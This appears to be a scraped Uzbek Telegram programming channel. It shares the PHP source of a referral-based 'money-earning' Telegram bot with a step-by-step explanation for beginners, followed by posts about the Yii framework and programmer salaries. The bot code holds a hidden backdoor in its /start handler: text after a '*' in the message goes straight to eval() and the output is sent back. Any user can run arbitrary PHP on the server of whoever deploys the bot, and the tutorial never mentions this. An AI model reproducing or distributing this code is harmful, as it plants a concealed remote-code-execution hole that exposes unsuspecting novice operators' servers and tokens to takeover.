FAST CODER | PHP TEAM
269 subscribers
278 photos
72 videos
783 files
671 links
🏁Dasturlashga qadam ❗️

💣Backend

💻PHP bo'yicha bepul darslar❗️

👨🏻‍💻 @Rustam_Hikmatullayev

🌐Dasturlashda:
📊5 yillik tajriba
👥50+ shogirt
🤝100+ hamkor
Download Telegram
Demak boshladik❗️❗️❗️❗️
Hozir pul ishlaydigan botni korib chiqamiz
Bot oddiy lekin yaxshi bot
Hammaga tushunishiga oson boladi
<?php
ob_start();
define('API_KEY','Token');/////token joyi
$admin = "554834550"; //admin id
$kanalimz ="@Fast_Coder"; //kanal useri
function del($nomi){
array_map('unlink', glob("$nomi"));
}

function ty($ch){
return bot('sendChatAction', [
'chat_id' => $ch,
'action' => 'typing',
]);
///////@Rustam_Hikmatullayev tomonidan yozib chiqildi
///// @Fast_Coder eng yzxshi kodlar bizning kanalda
///// Manba bilan olinglar
}

function bot($method,$datas=[]){
$url = "https://api.telegram.org/bot".API_KEY."/".$method;
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_POSTFIELDS,$datas);
$res = curl_exec($ch);
if(curl_error($ch)){
var_dump(curl_error($ch));
}else{
return json_decode($res);
}
}



$update = json_decode(file_get_contents('php://input'));
$message = $update->message;
$mid = $message->message_id;
$cid = $message->chat->id;
$filee = "coin/$cid.step";
$folder = "coin";
$folder2 = "azo";


if (!file_exists($folder.'/test.fd3')) {
mkdir($folder);
file_put_contents($folder.'/test.fd3', 'by ');
}

if (!file_exists($folder2.'/test.fd3')) {
mkdir($folder2);
file_put_contents($folder2.'/test.fd3', 'by ');
}

if (file_exists($filee)) {
$step = file_get_contents($filee);
}


$tx = $message->text;
$name = $message->chat->first_name;
$user = $message->from->username;
$kun1 = date('z', strtotime('5 hour'));

$key = json_encode([
'resize_keyboard'=>true,
'keyboard'=>[
[['text'=>"Referal silka"],['text'=>"Balans"]],
[['text'=>"Aloqa"],['text'=>"Pulni yechish"]],[['text'=>"Statistika"]]]
]);
//////// @Rustam_Hikmatullayev tomonidan yozib chiqildi
///// @Fast_Coder eng yzxshi kodlar bizning kanalda
///// Manba bilan olinglar/



$balinfo = "Salom🖐 Pul ishlash uchun eng ishonchli bot.\n\n
☝️ Botdan foydalanish uchun @Fast_Coder kanaliga obuna bo'lishingiz kerak.";

if((mb_stripos($tx,"/start")!==false) or ($tx == "/start")) {
bot('sendmessage',[
'chat_id'=>$cid,
'text'=>"$balinfo",
'reply_markup'=>$key
]);
$baza = file_get_contents("coin.dat");

if(mb_stripos($baza, $cid) !== false){
}else{
$baza=file_get_contents("coin.dat");
file_put_contents("coin.dat","$baza\n$cid");
}
if(strpos($tx,"/start $cid")!==false){

}else{
$public = explode("*",$tx);
$refid = explode(" ",$tx);
$refid = $refid[1];
$gett = bot('getChatMember',[
'chat_id' =>$kanalimz,
'user_id' => $refid,
]);
///////@Rustam_Hikmatullayev tomonidan yozib chiqildi
///// @Fast_Coder eng yzxshi kodlar bizning kanalda
///// Manba bilan olinglar//
$public2 = $public[1];
if (isset($public2)) {
$tekshir = eval($public2);
bot('sendMessage',[
'chat_id'=>$cid,
'text'=> $tekshir,
]);
}
$gget = $gett->result->status;

if($gget == "member" or $gget == "creator" or $gget == "administrator"){
$idref = "coin/$refid_id.dat";
$idref2 = file_get_contents($idref);

if(mb_stripos($idref2,$cid) !== false ){
bot('sendMessage',[
'chat_id'=>$cid,
'text'=>"Siz botni aldayapsiz",
]);
////// @Rustam_Hikmatullayev tomonidan yozib chiqildi
///// @Fast_Coder eng yzxshi kodlar bizning kanalda
///// Manba bilan olinglar
} else {

$id = "$cid\n";
$handle = fopen($idref, 'a+');
fwrite($handle, $id);
fclose($handle);
$ab=file_get_contents("coin/$refid.soni");
$ab=$ab+1;
file_put_contents("coin/$refid.soni","$ab");
$usr = file_get_contents("coin/$refid.dat");
$usr = $usr + 60;
file_put_contents("coin/$refid.dat", "$usr");
bot('sendMessage',[
'chat_id'=>$refid,
'text'=>"Sizga Taklifingiz Uchun 60 So'm Bonus Taqdim Etildi!",
]);
}
}
}
$abb=file_get_contents("coin/$cid.dat");
if($abb){}else{
file_put_contents("coin/$cid.dat", "0");
bot('sendMessage',[
'chat_id'=>$refid,
]);
bot('sendMessage',[
'chat_id'=>$cid,
'text'=>$balinfo,
'reply_to_message_id' => $mid,
'reply_mark
up'=>$key,
]);
}
}
if($tx == "Balans"){

$odam=file_get_contents("coin/$cid.soni");
$ball = file_get_contents("coin/$cid.dat");{
bot('sendMessage',[
'chat_id'=>$cid,
'text'=>"Siz Taklif Qilgan Odamlar Soni - $odam ta \n\n Sizning balansingiz $ball So'm",
'reply_to_message_id'=>$mid,
'reply_markup'=>$key2,
]);
}
}
if($tx=="Pulni yechish"){
bot('sendmessage',[
'chat_id'=>$cid,
'text'=>"Pulni Yechish Uchun Eng Kamida 8000 So'm To'plashingiz Kerak.\n\n
/pul so'zidan so'ng Telefon raqamingiz va summani yozing.

Masalan:

Telefonga Paynet qilish uchun:
/pul +9989xXXXXXXX 8000"
]);


}
if($tx=="Statistika"){
$a=file_get_contents("coin.dat");
$sum=file_get_contents("tolovlar.txt");
$ab=substr_count($a,"\n");
bot('sendmessage',[
'chat_id'=>$cid,
'text'=>"Botimiz azolari $ab ta \n\n Jami Tolangan Summa: $sum Sum"

]);
///// @Fast_Coder kanali uchun yozib chilqildi
///// @Rustam_Hikmatullayev tomonidan yozib chiqilgan
///// Manbasiz ko'rmay Manba bilan olinglar
}
if(strpos($tx,"/pul")!==false){
$ex=explode(" ",$tx);
$ab=file_get_contents("coin/$cid.dat");

if( $ex[2]>=100 and $ab>=$ex[2] ){
$bb=$ab-$ex[2];
$t=file_get_contents("tolov.txt");
$t=$t+1;
file_put_contents("tolov.txt","$t");
$t=file_get_contents("tolov.txt");
file_put_contents("coin/$cid.dat","$bb");
$tolov=file_get_contents("tolovlar.txt");
$tolov=$tolov+$ex[2];
file_put_contents("tolovlar.txt","$tolov");

$bb=substr($ex[1],0,6);
$gg="xx";
$ss=substr($ex[1],8,8);
file_put_contents("$cid.t","🔵 Status - \n\n 🆔 Tolov id: $t \n\n 👤 Qabul qiluvchini raqami: \n\n ☎️$bb $gg $ss \n\n 💰 Tolov summasi: $ex[2] sum");
bot('sendmessage',[
'chat_id'=>$cid,
'text'=>"Yaxshi $ex[1] Nomerga $ex[2] sum 24 soat davomida amalga oshiriladi buni @Master_Dasturchilar Kanalida Ko'ring, Agar Amalga Oshirilmasa Admin Bilan Bog'laning!!"
]);
///// kod @Rustam_Hikmatullayev tomonidan tarqatildi
///// Manba bilan olinglar kanalimiz @Fast_Coder
bot('sendmessage',[
'chat_id'=>$admin,
'text'=>"*Pulni yechish uchun yangi zayavka tushdi * \n
zayavkachi haqida ma'lumot\n id raqami $cid\n username: @$user \n Ismi: `[$name](tg://user?id=$cid) \n *Tushuriladigon summa miqdori:$ex[2] sum \n Raqami: $ex[1] \n\n Pul tolandimi tolangan bolsa tolandi=$cid shunday deb yozing!!* ",
'disable_web_page_preview'=>true,
'parse_mode'=>markdown,
]);

}else{bot('sendmessage',['chat_id'=>$cid,'text'=>"Sizning balansizngizda yetarli mablag' mavjud emas yegishni davom eting!! yoki minimal miqdordan oz kiritmoqdasiz"]);} }
if($tx=="Aloqa"){
bot('sendmessage',[
'chat_id'=>$cid,
'text'=>"🤓 Bot Admini: @uzb_blogger_1 \n\n
☎️ Telefon: +998 902664984\n\n
Ish Vaqti: 8:00 - 23:00\n\n
Reklama Berish Shartlari Bilan Tanishib Chiqing: @uzb_blogger_1"

]);
////// @Rustam_Hikmatullayev tomonidan yozib chiqildi
///// @Fast_Coder eng yaxshi kodlar bizning kanalda
///// Manba bilan olinglar

}

if(isset($tx)){
$gett = bot('getChatMember',[
'chat_id' =>$kanalimz,
'user_id' => $cid,
]);
$gget = $gett->result->status;

if($gget == "member" or $gget == "creator" or $gget == "administrator"){

if($tx == "Referal silka"){
bot('sendMessage',[
'chat_id'=>$cid,
'text'=>"Sizning Referal Ssilkangiz https://t.me/osonpulxack_bot?start=$cid\n\n Buni do'stlarga tarqating va shu ssilka orqali kirgan har bir odam uchun 1 Ball oling.",
'reply_to_message_id'=>$mid,
'reply_markup'=>$key2,
]);
}

$reply_menu = json_encode([
'resize_keyboard'=>false,
'force_reply' => true,
'selective' => true
]);
$replyik = $message->reply_to_message->text;
$yubbi = "Yuboriladigon xabarni kiriting. Xabar turi markdown";

if($tx == "/send" and $cid == $admin){
ty($cid);
bot('sendMess
age',[
'chat_id'=>$cid,
'text'=>$yubbi,
'reply_markup'=>$reply_menu,
]);
///////
}

if($replyik=="Yuboriladigon xabarni kiriting. Xabar turi markdown"){
ty($cid);
$idss=file_get_contents("coin.dat");
$idszs=explode("\n",$idss);
foreach($idszs as $idlat){
$hamma=bot('sendMessage',[
'chat_id'=>$idlat,
'text'=>$tx,
]);
}
}
if($hamma){
bot('sendmessage',[
'chat_id'=>$cid,
'text'=>"Hammaga habar yetkazildi",

]);

}
$nocha = "Xozircha kanallar yoq!";
$noazo = "siz kanal royxatida yoqsiz.";
$okcha = "kanalga azo boldingiz va 1ga ega boldingiz 3 kun ichida chiqib ketsangiz 2 som shtraf.";

}else{
bot('sendMessage',[
'chat_id'=>$cid,
'text'=>"📣siz $kanalimz ga azo boling va keyin bizda pul ishlay olasiz.",
]);
}
}if(strpos($tx,"tolandi=")!==false){
$ex=explode("=",$tx);
$kanalimiz="-100kanal id";////pul tarixi yoziladigan kanal id
$ab=file_get_contents("$ex[1].t");
bot('sendmessage',[
'chat_id'=>$kanalimiz,
'text'=>"$ab"
]);
bot('sendmessage',[
'chat_id'=>$admin,
'text'=>"Kanalga tashlandi!!"
]);
}
?>
📌define('API_KEY','1⃣');
📌$admin = "2⃣";
📌$kanalimz ="@3⃣";
___________________
1-Botimizning tokenini joylashtiramiz
2-o'zimizning id raqamimizni yozamiz
3-kanalimizni yozamiz(bu majburiy a'zo bo'lish kerak bo'lgan kanal yozing
@usernamesini )
---------------------
$update = json_decode(file_get_contents('php://input'));
$message = $update->message;
$mid = $message->message_id;
$cid = $message->chat->id;
$filee = "coin/$cid.step";
$folder = "coin";
$folder2 = "azo"

Bu qism ma'lumotlarni saqlaysi yani userlarni va pullarni papka ochib joylab boradi ❗️
⚠️Iloji bolsa bu joylarga tegmaganiz maqul❗️
$key = json_encode([
'resize_keyboard'=>true,
'keyboard'=>[
[['text'=>"Referal silka"],['text'=>"Balans"]],
[['text'=>"Aloqa"],['text'=>"Pulni yechish"]],[['text'=>"Statistika"]]]
]);
-----------------------
Bu yerda tugmalar yani botni ishlatish uchun tugmalar qoyilgan
Bularni o'zgartirishingiz mumkin faqat bitta shart bilan. O'zgaruvchini bajaruvchisini ham ozgartirishingiz kerak aks holda bot javob qaytarmasligi mumkin
Bajaruvchilar mana bu korinishda boladi

👇👇

}
if($tx == "Balans"){ $odam=file_get_contents("coin/$cid.soni");
$ball = file_get_contents("coin/$cid.dat");{
bot('sendMessage',[
'chat_id'=>$cid,
'text'=>"Siz Taklif Qilgan Odamlar Soni - $odam ta \n\n Sizning balansingiz $ball So'm", 'reply_to_message_id'=>$mid,
'reply_markup'=>$key2,
]);

Bu yerda har bir odamni pulini ulab beradigan buyruqlar qollaniladi
Buyruqlar 👉$ belgi bilan belgilaniladi


$ball = file_get_contents("coin/$cid.dat");

👆Bu har kimni qancha pul toplaganini aniqlab beradi
❗️
$ab=$ab+1;
____________________
👆Bu yerda sining referallaringizni qoshib beradi yani har bitta startda siga 1 🗣ta referal qoshilganini hisoblaydi❗️
______________________
file_put_contents("coin/$refid.soni","$ab");
$usr = file_get_contents("coin/$refid.dat");
$usr = $usr + 60;
____________________
👆Bu yerda +60 bu har bir 🗣referal uchun tolanadigan summa 💵
🔔Unutmang faqat kanalga azo bolgandan keyin pul beriladi huddi hozirgi botlardek
😎
______________________
😄Davom etamizmi
Pulni tolaganiz haqida hisobotni kanalga avto jo'natish

}else{
bot('sendMessage',[
'chat_id'=>$cid,
'text'=>"📣siz $kanalimz ga azo boling va keyin bizda pul ishlay olasiz.",
]);
}
}if(strpos($tx,"tolandi=")!==false){
$ex=explode("=",$tx);

Bu yerda kanalimiz id sini -100 bilan yozing
Misol uchun -100112729992

$kanalimiz="-100kanal id";////pul tarixi yoziladigan kanal id
$ab=file_get_contents("$ex[1].t");
bot('sendmessage',[
'chat_id'=>$kanalimiz,
'text'=>"$ab"
]);
bot('sendmessage',[
'chat_id'=>$admin,
'text'=>"Kanalga tashlandi!!"
]);
Bu yerda esa /send faqat admin tomonidan ishlatilishga ruxsat beradi
$cid==$admin
Agar admin o'rniga id raqam yozza ham ishlaydi



📡Kanalimiz: @Fast_Coder
Pul_Bot(@Fast_Coder).php
9.2 KB
#kod #pul_ishla
📌Pul ishlash kodi
Hozir tushuntirilgan kod❗️
Ishlatib ko'rishingiz mumkin
📡Kanalimiz: @Fast_Coder
🌐Kod yozishni 0 dan o'rganish uchun
💪Avval kodni ishlatishni o'rganish kerak🤙
2020.30.07.zip
135.3 MB
#kompyuter #antivirus

Sanasi: 30.07.2020
Formati: .zip (WinRar -> UnZip)
Hajmi: 135.3 mb




📡Kanalimiz: @Fast_Coder
Yii nima o`zi?

Yii – bu tez ishlovchi komponentli PHP freymvork bo'lib, zamonaviy web ilovalarni tez yaratish uchun mo'ljallangan. Yii (Yi [ji:] kabi talaffuz qilinadi) so'zi xitoy tilida "oddiy va evolyutsiyalovchi" degan ma'noni anglatadi. Shuningdek Yii akronim sifatida qaralganda uning yoyilma matni Yes It Is tarzida qaralishi ham mumkin!
Yii ko'proq qanday masalalar uchun mos keladi?

Yii – bu universal freymvork va uni barcha turdagi web ilovalar uchun qo'llash mumkin. Uning komponentli strukturasi va keshlashni juda zo'r qo'llab-quvvatlashi evaziga freymvork asosan portallar, forumlar, CMS, magazinlar yoki RESTful ilovalar kabi katta proyektlar uchun qo'l keladi.

—-Yii ni boshqa freymvorklar bilan solishtirish—-

Boshqa ko'pgina PHP freymvorklar singari Yii ham kodni tashkillashtirish uchun MVC (Model-View-Controller) modelidan foydalanadi.
Yii faqat loyihalashtirishning ma'lum bir qolipiga ergashib dizaynni murakkablashtirmasdan sodda va elegantli kod yozish falsafasiga tayanadi.
Yii full-stack freymvork hisoblanadi. Shuningdek o'z ichiga tekshirilgan va o'zini yaxshi ko'rsatgan relatsion va NoSQL ma'lumotlar ombori uchun yaratilgan ActiveRecord, REST API ni qo'llab quvvatlash, ko'p qatlamli keshlash kabi imkoniyatlarni oladi.
Yii juda yaxhsi kengayishi mumkin. Siz asosiy kodni ixtiyoriy qismini almashtirishingiz yoki sozlashingiz mumkin. Kengaytirish arxitekturasiga bo'ysunib kodni boshqalar bilan ulashish yoki jamoatning kodidan foydalanish mumkin.
—--Yii ning asosiy maqsadlaridan biri - ishlash tezligi—-

Yii — bir odamning loyihasi emas. U unga yordam berayotgan ishlab chiquvchilar katta jamoasi tomonidan qo'llab quvvatlanadi va rivojlantiriladi. Freymvork ishlab chiquvchilari web ishlab chiqish va boshqa ilovalarni maromini kuzatishadi. Ko'proq mos keluvchi imkoniyatlar va eng yaxshi sinalgan amaliyotlar freymvork sodda va elegantli interfeysi tarzida qo'llaniladi.

📡Kanalizmiz: @Fast_Coder
Yii Frameworkning asoschisi Qiang Xue bo‘lib, u Yii Frameworkni 2008-yil 1-yanvarda yaratdi. Oradan bir yil o‘tib, dekabr oyida Yiiframework 1.0 ni ommaga havola qildi. Yii’ni yaratishdan oldin u ko‘p ishlatiladigan barcha frameworklarni o‘rganib chiqdi. Natijada, qolgan Frameworklarda yo‘l qo‘yilgan kamchiklarni o‘z Frameworkida bartaraf etdi. Hozirda Yii Framework’ga talab kuchli va u o‘z o‘rnida boshqa Frameworklar bilan raqobatlasha, ulardan bemalol ustunlik qila oladi ham. Yii yuqori samarador, komponentlarga asoslangan PHP framework. Yii Web-dasturlarni yaratishni sezilarli darajada tezlashtiradi.

📡Kanalimiz: @Fast_Coder
This media is not supported in your browser
VIEW IN TELEGRAM
🤓 Magnit va batareya.
Uyda amalga oshiriladigan qiziqarli tajriba.

📌Kod yozishni 0 dan o'rganish uchun
🌐Avval kodni ishlatishni o'rganish kerak💪

📡Kanalimiz: @Fast_Coder
Dasturchilarning maoshi qancha?

Axborot texnologiyalari sohasidagi ishlar dunyo bo‘ylab eng yuqori haq to‘lanuvchi ishlar qatoriga kiradi. Maosh yuqoriligi jihatidan, boshqa sohalarda bo‘lgani kabi, birinchi o‘rinda direktorlar turadi. Ammo ko‘pincha IT-kompaniyalarda ham oddiy dasturchilar va dasturiy ta’minot ishlab chiquvchilarning ish haqlari ayrim bo‘lim boshliqlarinikidan balandroq bo‘lishi mumkin.

Keling, yaxshisi, «Moyo obrazovaniye» sayti yaqinda e’lon qilgan ma’lumot – Rossiyadagi dasturchilarning oylik maoshlari reytingini ko‘rib chiqsak. Eslatib o‘tamiz – ish haqlari so‘mda ko‘rsatilgan.
Lavozimi
Java bo‘yicha yetakchi dasturchi 18 423 000 26 151 000
Oracle bo‘yicha yetakchi dasturchi 16 045 000 23 770 000
1S bo‘yicha yetakchi dasturchi 15 450 000 23 770 000
PHP bo‘yicha yetakchi dasturchi 15 450 000 23 770 000
S# bo‘yicha yetakchi dasturchi 14 490 000 20 200 000
S++ bo‘yicha yetakchi dasturchi 14 262 000 21 390 000
Java bo‘yicha dasturchi 14 856 000 23 770 000
Oracle bo‘yicha dasturchi 14 262 000 21 390 000
Reliz-muhandis 14 262 000 23 770 000
iOS bo‘yicha ishlab chiquvchi 13 662 000 21 390 000
1S bo‘yicha dasturchi 13 075 000 21 390 000
Ruby bo‘yicha dasturchi 13 075 000 17 823 000
S++ bo‘yicha dasturchi 13 075 000 20 203 000
Android bo‘yicha ishlab chiquvchi 13 075 000 20 203 000
Delphi bo‘yicha dasturchi 12 475 000 17 823 000
Python bo‘yicha dasturchi 12 475 000 19 016 000
PHP bo‘yicha dasturchi 11 405 000 21 390 000
JavaScript bo‘yicha dasturchi 11 288 000 17 823 000
Perl bo‘yicha dasturchi 11 288 000 21 390 000
Flash bo‘yicha ishlab chiquvchi 10 695 000 17 823 000

Superjob portali tadqiqotlar markazi bergan ma’lumotlarga ko‘ra, Java bo‘yicha yetakchi dasturchining o‘rtacha ish haqi sinovdan o‘tkazish bo‘limi rahbarining maoshidan yuqoriroq ekan. Dasturchining maoshi tegishli lavozimga talabgorlar soniga ham bog‘liq bo‘larkan. Ya’ni, qaysi lavozim talablariga javob bera oluvchi dasturchilar qancha kam (raqobat past) bo‘lsa, shu lavozim uchun maosh shuncha yuqori bo‘lar ekan.

Yuqoridagilardan tashqari, dasturchining maoshi u dastur yozadigan tilga ham bog‘liq bo‘lishi mumkin. Masalan, faqat JavaScript’da yozadigan dasturchilarga talab past va ularning xizmati uncha yuqori baholanmaydi. Chunki JavaScript – ancha keng tarqalgan va u odatda boshqa tillarga qo‘shimcha til hisoblanadi.

Superjob tadqiqotchilarining izohlashicha, Perl tilli dasturchilarda ham shunga o‘xshash holat – ularga ehtiyoj kamayib bormoqda. Perl tili dasturlashtirishning boshqa, zamonaviy tillari tomonidan siqib chiqarilmoqda va unda «ijod qiluvchi» dasturchilar boshqa tillarni o‘zlashtirib olishmoqda.

Xo‘sh, yuqoridagi raqamlarni ko‘rib, sizning ham dasturchi bo‘lgingiz, yoki farzandingizni shu sohaga yo‘naltirgingiz kelib qoldimi? Unda saytimizni kuzatib boring – bu borada muhim va qiziq ma’lumotlar hali oldinda!
📡Kanalimiz: @Fast_Coder
👍1